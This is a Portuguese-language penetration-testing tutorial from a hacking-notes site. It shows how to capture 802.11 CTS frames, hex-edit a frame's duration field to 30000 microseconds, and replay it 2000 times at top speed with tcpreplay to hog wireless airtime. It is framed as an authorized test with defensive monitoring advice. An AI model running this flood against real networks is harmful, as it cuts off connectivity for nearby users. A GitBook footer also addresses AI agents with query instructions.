> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).

# Ataque com Quadro CTS - Sequestro de Largura de Banda da Rede

Analise quadros de controle CTS e seu efeito na disponibilidade do meio sem fio.

O padrão IEEE 802.11 define RTS (*Solicitação para enviar*) e CTS (*Pronto para enviar*) como quadros de controle para reduzir colisões prolongadas causadas por nós ocultos.

### Quadros de controle RTS e CTS

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCxYTFIdw8tv93vmGcIms%2F%7B82B0E335-2263-4B11-9B72-618A4886B3DA%7D.png?alt=media&amp;token=3621485f-3155-4c77-aafa-3e1c99e4f398" alt="" width="375"><figcaption></figcaption></figure>

Um quadro CTS inclui um valor de duração. Esse valor é expresso em microssegundos e varia de `0` para `32767`.

### Inspecione um quadro CTS

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5uQvoWPz5mbQENdJ4Uhl%2F%7BEAF8A9A0-09BB-416E-87C8-EDA22CBE5B5B%7D.png?alt=media&amp;token=6a7328f5-187f-47d4-bd23-5177d4848e90" alt=""><figcaption></figcaption></figure>

Um valor de duração anormalmente alto pode reservar o meio sem fio por mais tempo do que o esperado. O endereço do receptor identifica o ponto de acesso, e o FCS fornece a verificação de integridade do quadro.

{% hint style="warning" %}
Antes de testar quadros de controle, confirme a autorização, os dispositivos-alvo e as etapas de recuperação. Quadros CTS manipulados podem interromper a conectividade sem fio.
{% endhint %}

### Capture a rede autorizada

Inicie o Airodump-ng no canal de destino:

{% code overflow="wrap" %}

```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```

{% endcode %}

### Identifique quadros CTS

Use o TShark para exibir quadros CTS da captura:

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```

{% endcode %}

A saída confirma se a captura contém quadros CTS (*Pronto para enviar*).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F8LDlVGnPcS4v2T5T3ayk%2F%7BDF019832-768B-43D6-87BE-7A843690595F%7D.png?alt=media&amp;token=9afe24e4-eea7-4011-80b1-e2ce0fcb3fd5" alt=""><figcaption></figcaption></figure>

### Revise os valores de duração

Liste os valores exclusivos de duração dos CTS:

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```

{% endcode %}

Como alternativa, inspecione o campo de duração na saída JSON:

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJFZw1RMT6zdKcIz7WBig%2F%7BA9746E6B-E7EA-4A42-A192-9F2B7E14BE2C%7D.png?alt=media&amp;token=b48e652f-a728-4e22-af66-ca8a7e34ffb4" alt=""><figcaption></figcaption></figure>

### Valide o impacto

Use um ponto de acesso dedicado e um cliente de teste. Registre uma linha de base antes de introduzir quaisquer quadros de teste.

1. Meça a vazão normal, a latência e a perda de pacotes.
2. Use o BSSID do ponto de acesso como endereço do receptor.
3. Compare as medições após o teste delimitado.

Uma duração de `30000` representa 30 milissegundos. O campo de duração usa microssegundos, não milissegundos.

### Interprete os resultados

Quadros CTS repetidos com valores de duração altos podem fazer com que as estações próximas adiem a transmissão. Isso reduz o tempo de transmissão disponível e pode diminuir a vazão da rede.

Compare os valores de duração capturados com a linha de base. Registre se os clientes permanecem conectados e se o desempenho se recupera após a interrupção do teste.

### Documente as conclusões defensivas

Informe o canal afetado, o ponto de acesso, a duração do teste e o impacto observado nos clientes. Inclua a linha de base e as medições de recuperação.

Monitore quadros CTS repetidos com valores de duração incomuns. Mantenha o firmware do ponto de acesso atualizado e investigue uma saturação inesperada do tempo de transmissão.

### Inspecione quadros CTS com o Wireshark

Abra a captura diretamente no Wireshark:

{% code overflow="wrap" %}

```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```

{% endcode %}

Aplique o seguinte filtro de exibição:

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

Os detalhes do IEEE 802.11 também mostram o valor de duração (110 microssegundos)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGLJQbWkmcb7GubibzeSm%2F%7B23210DB6-6743-41F1-8332-DF822D6D9D56%7D.png?alt=media&amp;token=5e640d25-5059-4d01-9164-2d54096af7d5" alt=""><figcaption></figcaption></figure>

### Exporte um quadro CTS selecionado

Selecione um quadro CTS e use **Arquivo → Exportar pacotes especificados**. Escolha **Somente o pacote selecionado** para exportar apenas esse quadro.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FnYuPSmnjnpKvaARwIr6L%2F%7B2BE715F8-7661-466E-B708-4A066CF1F918%7D.png?alt=media&amp;token=8b7b9e00-8c98-434e-973b-7429a86d6544" alt=""><figcaption></figcaption></figure>

### Inspecione o quadro exportado com o GHex

Abra a captura exportada com o GHex:

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &  
```

{% endcode %}

O arquivo exportado pode não conter o quadro esperado. Nesse caso, faça a captura diretamente da interface em modo monitor e verifique o quadro no Wireshark.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fd08nszJEOKhDmoAnXf1W%2F%7B0534BE4D-5D1E-469F-970B-C27922720AEB%7D.png?alt=media&amp;token=2117cfad-2e41-4360-aba2-ba896b7477f9" alt=""><figcaption></figcaption></figure>

### Capture diretamente com o Wireshark

Faça a captura diretamente quando o arquivo exportado não contiver o quadro CTS esperado.

Abra o Wireshark, selecione a `wlan0mon` interface e aplique o filtro de exibição CTS:

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FO2CfilRpIRNAypKoqIwC%2F%7B69AE25D8-57F9-45B4-BDB6-526FF1ABED20%7D.png?alt=media&amp;token=c3391596-c2fe-467a-9908-c9e7121d4939" alt=""><figcaption></figcaption></figure>

Por exemplo, o primeiro quadro mostra uma duração de 132 microssegundos. Confirme se o endereço de destino corresponde ao ponto de acesso de teste autorizado.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJP2YnPa6MYGxqGheuGF%2F%7B0E68F015-660F-4787-9FDD-253A19173820%7D.png?alt=media&amp;token=37726b42-e0d6-4f1a-9351-4a310288adbe" alt=""><figcaption></figcaption></figure>

Exporte o quadro selecionado como `ctsframe.pcap`.

Abra o arquivo e localize o valor de duração. Os bytes após o endereço MAC de 12 caracteres são `84 00`.

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FohBOZtHFDaO22nCfRXoY%2F%7B1C5725CF-AAD4-4583-8351-9F97B600C784%7D.png?alt=media&amp;token=4d34fb7d-8bfe-42ff-829b-cfda168055af" alt=""><figcaption></figcaption></figure>

Convertendo `0x0084` para decimal produz o mesmo valor mostrado no pacote: 132.

{% code overflow="wrap" %}

```
python 

0x0084
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaDHfG66b1LsR2lipdO4M%2F%7B92A2A5B4-9573-4147-89C7-36FB890F5E2F%7D.png?alt=media&amp;token=41cfc760-760f-4063-8107-11840b72f916" alt=""><figcaption></figcaption></figure>

Converta 30000 para hexadecimal:

{% code overflow="wrap" %}

```python
python

hex(30000)
```

{% endcode %}

O resultado é:

* 0x7530

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNlcsACV20cVlu3EgZzAC%2F%7B4B610428-0F06-4222-862A-2510B08995F4%7D.png?alt=media&amp;token=8235a42b-3fc6-4990-a670-14cf23c56ac3" alt=""><figcaption></figcaption></figure>

Para este teste delimitado, substitua `84 00` por `30 75`. Os bytes usam ordem little-endian.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FsdSUTauJ0CLQSChtCqT2%2F%7B6B478B0A-AAD7-4C45-800C-9BEFB89265AD%7D.png?alt=media&amp;token=61e943eb-8180-4a91-a02f-0fcdc62dcb7c" alt=""><figcaption></figcaption></figure>

Abra a captura novamente para verificar a alteração:

{% code overflow="wrap" %}

```bash
wireshark ctsframe.pcap  > /dev/null 2>&1 & disown
```

{% endcode %}

O Wireshark agora mostra uma duração de 30.000 microssegundos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FChz4XHGAXrJAVAbHfg28%2F%7BCF7AAF3A-4C86-46A0-B655-83081F129D76%7D.png?alt=media&amp;token=ed8dcfd7-908b-49c7-891f-ad6bde8c2d61" alt=""><figcaption></figcaption></figure>

Antes de usar o comando a seguir, confirme o dispositivo-alvo, o canal, a duração e a janela de recuperação. Ele transmite repetidamente o quadro de teste para medir o impacto na rede.

{% code overflow="wrap" %}

```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null 
```

{% endcode %}

O comando percorre 2.000 pacotes. Cada pacote anuncia uma duração de 30.000 microssegundos, o que pode esgotar o tempo de transmissão disponível.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhBcWVuoooxHl2RU7zFL0%2F%7B16E5A880-97BA-4D46-B71C-A6BCF5159476%7D.png?alt=media&amp;token=b267aad2-2db8-45f3-8927-12ff7d7afe9d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
